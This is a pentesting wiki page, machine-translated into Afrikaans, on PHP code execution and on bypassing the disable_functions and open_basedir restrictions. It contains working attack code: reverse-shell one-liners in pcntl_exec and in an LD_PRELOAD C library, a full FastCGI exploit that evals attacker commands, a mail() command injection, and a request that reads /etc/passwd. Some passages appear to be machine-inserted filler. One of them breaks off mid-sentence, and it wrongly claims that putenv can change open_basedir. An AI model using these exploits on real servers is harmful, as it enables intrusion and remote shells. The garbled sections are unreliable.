hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass
2024-02-11 02:07:06 +00:00
..
disable_functions-bypass-dl-function.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-mod_cgi.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-5.2-fopen-exploit.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-7.0-7.4-nix-only.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-fpm-fastcgi.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-less-than-5.2.9-on-windows.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-bypass-via-mem.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-php-5.2.4-ioncube-extension-exploit.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
disable_functions-php-5.x-shellshock-exploit.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

PHP - Nuttige Funksies & disable_functions/open_basedir omseil

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PHP Opdrag & Kode Uitvoering

PHP Opdrag Uitvoering

Nota: 'n p0wny-shell php-webshell kan die volgende funksie outomaties toets en omseil as sommige van hulle gedeaktiveer is.

exec - Gee die laaste lyn van die opdrag se uitset terug

echo exec("uname  -a");

passthru - Stuur bevels uitvoer direk na die blaaier

echo passthru("uname -a");

sisteem - Gee bevele uitset direk aan die blaaier en gee die laaste lyn terug

echo system("uname -a");

shell_exec - Gee die uitset van opdragte terug

echo shell_exec("uname -a");

`` (backticks) - Dieselfde as shell_exec()

echo `uname -a`

popen - Maak 'n lees- of skryf-pyp oop na 'n proses van 'n opdrag

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Soortgelyk aan popen(), maar met 'n groter mate van beheer.

proc_close(proc_open("uname -a",array(),$something));

preg_replace

Die preg\_replace-funksie in PHP word gebruik om 'n patroon in 'n teksreeks te soek en te vervang met 'n ander waarde. Dit maak gebruik van regulêre uitdrukkings om die soek- en vervangingsproses uit te voer.

Hier is die sintaksis vir die gebruik van preg\_replace:

preg_replace($pattern, $replacement, $subject);
  • $pattern is die regulêre uitdrukking wat gebruik word om die teksreeks te soek.
  • $replacement is die waarde wat gebruik word om die ooreenstemmende patroon te vervang.
  • $subject is die teksreeks waarin die soek- en vervangingsproses uitgevoer word.

Hier is 'n voorbeeld van hoe preg\_replace gebruik kan word:

$text = "Hello, world!";
$pattern = "/world/";
$replacement = "universe";

$newText = preg_replace($pattern, $replacement, $text);
echo $newText; // Output: Hello, universe!

In hierdie voorbeeld word die woord "world" in die teksreeks "Hello, world!" vervang met die woord "universe". Die preg\_replace-funksie soek na die patroon "/world/" in die teksreeks en vervang dit met die waarde "universe". Die nuwe teksreeks, "Hello, universe!", word dan uitgevoer.

Dit is belangrik om te onthou dat preg\_replace 'n regulêre uitdrukking gebruik om te soek na ooreenstemmende patrone. Dit beteken dat jy spesiale karakters moet ontsnap met 'n sku

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Voer 'n program uit (standaard moet jy die pcntl.so module laai om hierdie funksie in moderne en nie so moderne PHP te gebruik)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

pos / mb_send_mail - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om willekeurige opdragte in die $options parameter in te spuit. Dit is omdat die php mail funksie gewoonlik die sendmail binêre lêer in die stelsel aanroep en dit jou toelaat om ekstra opsies in te voer. Jy sal egter nie die uitset van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n skripsie te skep wat die uitset na 'n lêer skryf, dit uit te voer met behulp van mail, en die uitset te druk:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Hierdie funksie kan gebruik word om 'n PHP-uitbreiding dinamies te laai. Hierdie funksie sal nie altyd beskikbaar wees nie, so jy moet eers nagaan of dit beskikbaar is voordat jy probeer om dit uit te buit. Lees hierdie bladsy om te leer hoe om hierdie funksie uit te buit.

PHP Kode Uitvoering

Afgesien van eval is daar ander maniere om PHP-kode uit te voer: include/require kan gebruik word vir afgeleë kode-uitvoering in die vorm van plaaslike lêer insluiting en afgeleë lêer insluiting kwesbaarhede.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Gedeaktiveerde funksies is die instelling wat in .ini lêers in PHP gekonfigureer kan word om die gebruik van die aangeduide funksies te verbied. Open basedir is die instelling wat aan PHP aandui watter vouer toeganklik is.
Die PHP-instelling moet gekonfigureer word in die pad /etc/php7/conf.d of soortgelyk.

Beide konfigurasies kan gesien word in die uitset van phpinfo():

open_basedir Bypass

open_basedir sal die vouers konfigureer wat PHP kan toegang gee, jy sal nie in staat wees om enige lêer buite daardie vouers te skryf/lees/uit te voer nie, maar jy sal selfs nie in staat wees om ander gidslys te maak nie.
As jy egter op een of ander manier arbitrêre PHP-kode kan uitvoer, kan jy die volgende stuk kodes probeer om die beperking te omseil.

Gidslyste met glob:// omseiling

In hierdie eerste voorbeeld word die glob://-protokol met 'n omseiling van 'n pad gebruik:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Nota1: In die pad kan jy ook /e??/* gebruik om /etc/* en enige ander vouer te lys.
Nota2: Dit lyk asof 'n deel van die kode gekopieer is, maar dit is eintlik nodig!
Nota3: Hierdie voorbeeld is slegs nuttig om vouers te lys en nie om lêers te lees nie

Volledige open_basedir omseil deur FastCGI te misbruik

As jy meer wil leer oor PHP-FPM en FastCGI kan jy die eerste gedeelte van hierdie bladsy lees.
As php-fpm gekonfigureer is, kan jy dit misbruik om heeltemal open_basedir te omseil:

Let daarop dat die eerste ding wat jy moet doen, is om uit te vind waar die unix-socket van php-fpm is. Dit word gewoonlik onder /var/run gevind, sodat jy die vorige kode kan gebruik om die gids te lys en dit te vind.
Kode van hier.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Hierdie app kan nie multiplex nie [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nuwe versoek afgekeur; te besig [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Rolwaarde onbekend [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// werklike uitbuiting begin hier
if (!isset($_REQUEST['cmd'])) {
die("Kontroleer jou insette\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doen niks nie
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Hierdie skrip sal kommunikeer met die unix-socket van php-fpm (gewoonlik geleë in /var/run as fpm gebruik word) om willekeurige kode uit te voer. Die open_basedir instellings sal oorskryf word deur die PHP_VALUE eienskap wat gestuur word.
Let op hoe eval gebruik word om die PHP-kode wat jy stuur binne die cmd parameter uit te voer.
Let ook op die uitgekommentarieerde lyn 324, jy kan dit onuitgekommentarieer en die payload sal outomaties verbind met die gegewe URL en die PHP-kode wat daar bevat word, uitvoer.
Besoek net http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); om die inhoud van die /etc/passwd lêer te kry.

{% hint style="warning" %} Jy mag dalk dink dat net soos ons die open_basedir konfigurasie oorskryf het, kan ons ook disable_functions oorskryf. Wel, probeer dit, maar dit sal nie werk nie, blykbaar kan disable_functions slegs gekonfigureer word in 'n .ini php konfigurasie lêer en die veranderinge wat jy maak met PHP_VALUE sal nie effektief wees vir hierdie spesifieke instelling nie. {% endhint %}

disable_functions Oorloop

As jy PHP-kode kan uitvoer binne 'n masjien, wil jy waarskynlik na die volgende vlak gaan en willekeurige stelselopdragte uitvoer. In hierdie situasie is dit gewoonlik om te ontdek dat die meeste of al die PHP funksies wat toelaat om stelselopdragte uit te voer, gedeaktiveer is in disable_functions.
Kom ons kyk hoe jy hierdie beperking kan oorloop (as jy kan)

Outomatiese oorloop-ontdekking

Jy kan die instrument https://github.com/teambi0s/dfunc-bypasser gebruik en dit sal aandui watter funksie (as enige) jy kan gebruik om disable_functions te oorloop.

Oorloop deur ander stelsel funksies te gebruik

Gaan net terug na die begin van hierdie bladsy en kyk of enige van die opdrag uitvoerende funksies nie gedeaktiveer is en beskikbaar is in die omgewing nie. As jy een van hulle vind, sal jy dit kan gebruik om willekeurige stelselopdragte uit te voer.

LD_PRELOAD oorloop

Dit is algemeen bekend dat sommige funksies in PHP soos mail() binêre lêers binne die stelsel sal uitvoer. Jy kan hulle dus misbruik deur die omgewingsveranderlike LD_PRELOAD te gebruik om hulle 'n willekeurige biblioteek te laat laai wat enigiets kan uitvoer.

Funksies wat gebruik kan word om disable_functions met LD_PRELOAD te oorloop

  • mail
  • mb_send_mail: Effektief wanneer die php-mbstring module geïnstalleer is.
  • imap_mail: Werk as die php-imap module teenwoordig is.
  • libvirt_connect: Vereis die php-libvirt-php module.
  • gnupg_init: Bruikbaar met die geïnstalleerde php-gnupg module.
  • new imagick(): Hierdie klas kan misbruik word om beperkings te oorloop. Gedetailleerde uitbuitingstegnieke kan gevind word in 'n omvattende verslag hier.

Jy kan hier die fuzzer-skrip vind wat gebruik is om daardie funksies te vind.

Hier is 'n biblioteek wat jy kan saamstel om die LD_PRELOAD omgewingsveranderlike te misbruik:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Deurloop deur Chankro

Om van hierdie konfigurasie-misbruik gebruik te maak, kan jy Chankro gebruik. Dit is 'n instrument wat 'n PHP-uitbuiting sal genereer wat jy moet oplaai na die kwesbare bediener en dit uitvoer (toegang daartoe verkry via die web).
Chankro sal binne die slagofferskyf die biblioteek en die omgekeerde dop skryf wat jy wil uitvoer en sal die**LD_PRELOAD-truk + PHP mail()** funksie gebruik om die omgekeerde dop uit te voer.

Let daarop dat om Chankro te gebruik, mail en putenv nie binne die disable_functions-lys mag voorkom nie.
In die volgende voorbeeld kan jy sien hoe om 'n Chankro-uitbuiting te skep vir argitektuur 64, wat whoami sal uitvoer en die uitset in /tmp/chankro_shell.out sal stoor, Chankro sal die biblioteek en die nutslading in /tmp skryf en die finale uitbuiting sal bicho.php genoem word (dit is die lêer wat jy na die slagofferserver moet oplaai):

{% tabs %} {% tab title="shell.sh" %}

#!/bin/sh
whoami > /tmp/chankro_shell.out

PHP Nuttige Funksies: disable_functions & open_basedir Bypass

Hierdie dokument bevat 'n paar nuttige PHP-funksies wat gebruik kan word om die disable_functions-en open_basedir-beperkings te omseil tydens webtoepassingstoetsing.

disable_functions

Die disable_functions-instelling in die PHP-konfigurasie beperk die toegang tot sekere funksies wat potensieel gevaarlik kan wees vir die bedryfstelsel of die bediener. Hier is 'n paar maniere om hierdie beperking te omseil:

1. Shell_exec

shell_exec is 'n funksie wat gebruik kan word om 'n stelselopdrag uit te voer. As dit uitgeskakel is, kan jy probeer om dit te omseil deur die volgende metodes te gebruik:

  • system
  • exec
  • popen
  • passthru
  • proc_open

2. Eval

eval is 'n funksie wat gebruik kan word om dinamiese kode uit te voer. As dit uitgeskakel is, kan jy probeer om dit te omseil deur die volgende metodes te gebruik:

  • create_function
  • assert
  • preg_replace met die e-vlag

3. Other Functions

Daar is ook ander funksies wat jy kan probeer om die disable_functions-beperking te omseil:

  • mail (deur 'n aangepaste SMTP-bediener te gebruik)
  • putenv (om omgewingsveranderlikes te stel)
  • ini_set (om PHP-instellings te verander)
  • dl (om dinamiese biblioteke te laai)

open_basedir Bypass

Die open_basedir-instelling in die PHP-konfigurasie beperk die toegang tot lêers en gidses buite 'n spesifieke gids. Hier is 'n paar maniere om hierdie beperking te omseil:

1. File Upload

As die webtoepassing lêeroplaaifunksionaliteit het, kan jy probeer om die open_basedir-beperking te omseil deur die volgende metodes te gebruik:

  • Lêeroplaai na 'n gids binne die toegelate gids
  • Lêeroplaai na 'n gids buite die toegelate gids en dan gebruik maak van 'n lêerinsluitingsfout om toegang tot die lêer te verkry

As die bediener symlinks toelaat, kan jy probeer om die open_basedir-beperking te omseil deur die volgende metodes te gebruik:

  • Skep 'n simboliese skakel na 'n gids buite die toegelate gids
  • Skep 'n simboliese skakel na 'n lêer buite die toegelate gids

3. Directory Traversal

As die webtoepassing 'n directory traversal kwesbaarheid het, kan jy probeer om die open_basedir-beperking te omseil deur die volgende metodes te gebruik:

  • Gebruik van ../ om na 'n gids buite die toegelate gids te navigeer
  • Gebruik van URL-encodes om die ../-teken te omseil

Slotwoord

Hierdie is slegs 'n paar van die moontlike metodes om die disable_functions-en open_basedir-beperkings in PHP te omseil. Dit is belangrik om te onthou dat die omseiling van hierdie beperkings nie noodwendig wettig of eties is nie en slegs gebruik moet word vir wettige toepassings soos webtoepassingstoetsing.

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

{% endtab %} {% endtabs %}

As jy vind dat die mail-funksie geblokkeer word deur gedeaktiveerde funksies, kan jy steeds die funksie mb_send_mail gebruik.
Meer inligting oor hierdie tegniek en Chankro hier: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" deur PHP-vermoëns te gebruik

Let daarop dat jy met PHP lêers kan lees en skryf, gidslys kan skep en toestemmings kan verander.
Jy kan selfs databasisse dump.
Dalk kan jy deur PHP te gebruik om die boks te enumerate, 'n manier vind om voorregte te verhoog/opdragte uit te voer (byvoorbeeld deur 'n private ssh-sleutel te lees).

Ek het 'n webshell geskep wat dit baie maklik maak om hierdie aksies uit te voer (let daarop dat die meeste webshells jou hierdie opsies ook sal bied): https://github.com/carlospolop/phpwebshelllimited

Modules/Weergawe-afhanklike omseilings

Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module gebruik word of 'n spesifieke PHP-weergawe uitgebuit word:

Outomatiese hulpmiddel

Die volgende skrips probeer sommige van die hier besproke metodes:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Ander interessante PHP-funksies

Lys van funksies wat terugroepings aanvaar

Hierdie funksies aanvaar 'n stringparameter wat gebruik kan word om 'n funksie van die aanvaller se keuse te roep. Afhangend van die funksie mag die aanvaller wel of nie die vermoë hê om 'n parameter oor te dra nie. In daardie geval kan 'n Inligtingslek-funksie soos phpinfo() gebruik word.

Callbacks / Callables

Volgende lys vanaf hier

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Inligting Openbaarmaking

Die meeste van hierdie funksie-oproepe is nie lekke nie. Maar dit kan 'n kwesbaarheid wees as enige van die teruggevoerde data sigbaar is vir 'n aanvaller. As 'n aanvaller phpinfo() kan sien, is dit beslis 'n kwesbaarheid.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Ander

Hier is 'n lys van ander nuttige PHP-funksies wat gebruik kan word vir die omseil van disable_functions en open_basedir beperkings:

dl()

Die dl()-funksie kan gebruik word om dinamiese biblioteke in PHP te laai. Dit kan gebruik word om beperkte funksies te omseil deur 'n biblioteek te laai wat die gewenste funksionaliteit bied.

dl('path/to/library.so');

putenv()

Die putenv()-funksie kan gebruik word om omgewingsveranderlikes in te stel. Dit kan gebruik word om die open_basedir-beperking te omseil deur die waarde van die open_basedir-veranderlike te verander.

putenv('open_basedir=/path/to/directory');

proc_open()

Die proc_open()-funksie kan gebruik word om 'n nuwe proses te skep. Dit kan gebruik word om beperkte funksies te omseil deur 'n proses te skep wat die gewenste funksionaliteit bied.

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is 'n pyp waarop die kind kan lees
   1 => array("pipe", "w"),  // stdout is 'n pyp waarop die kind kan skryf
   2 => array("pipe", "w")   // stderr is 'n pyp waarop die kind kan skryf
);

$process = proc_open('command', $descriptorspec, $pipes);

system()

Die system()-funksie kan gebruik word om 'n stelseloproepe uit te voer. Dit kan gebruik word om beperkte funksies te omseil deur 'n stelseloproepe uit te voer wat die gewenste funksionaliteit bied.

system('command');

shell_exec()

Die shell_exec()-funksie kan gebruik word om 'n opdrag in die skulpruimte uit te voer. Dit kan gebruik word om beperkte funksies te omseil deur opdragte uit te voer wat die gewenste funksionaliteit bied.

shell_exec('command');

popen()

Die popen()-funksie kan gebruik word om 'n proses te skep en 'n pyp daarop te open. Dit kan gebruik word om beperkte funksies te omseil deur 'n proses te skep wat die gewenste funksionaliteit bied.

$handle = popen('command', 'r');

mail()

Die mail()-funksie kan gebruik word om e-posse te stuur. Dit kan gebruik word om beperkte funksies te omseil deur e-posse te stuur wat die gewenste funksionaliteit bevat.

mail('recipient@example.com', 'Subject', 'Message');

Dit is belangrik om te onthou dat die gebruik van hierdie funksies om beperkings te omseil, 'n potensiële veiligheidsrisiko kan skep en slegs in spesifieke omstandighede gebruik moet word.

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Lêerstelsel Funksies

Volgens RATS is alle lêerstelsel funksies in PHP sleg. Sommige van hierdie funksies lyk nie baie nuttig vir die aanvaller nie. Ander is nuttiger as wat jy dink. Byvoorbeeld, as allow_url_fopen=On is, kan 'n URL as 'n lêerpad gebruik word, so 'n oproep na copy($_GET['s'], $_GET['d']); kan gebruik word om enige plek op die stelsel 'n PHP-skrips op te laai. As 'n webwerf ook vatbaar is vir 'n versoek wat via GET gestuur word, kan enigeen van hierdie lêerstelsel funksies misbruik word om 'n aanval na 'n ander gasheer deur jou bediener te kanaliseer.

Open lêerstelselhanterer

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Skryf na lêersisteem (gedeeltelik in kombinasie met lees)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Lees vanaf lêersisteem

file_exists
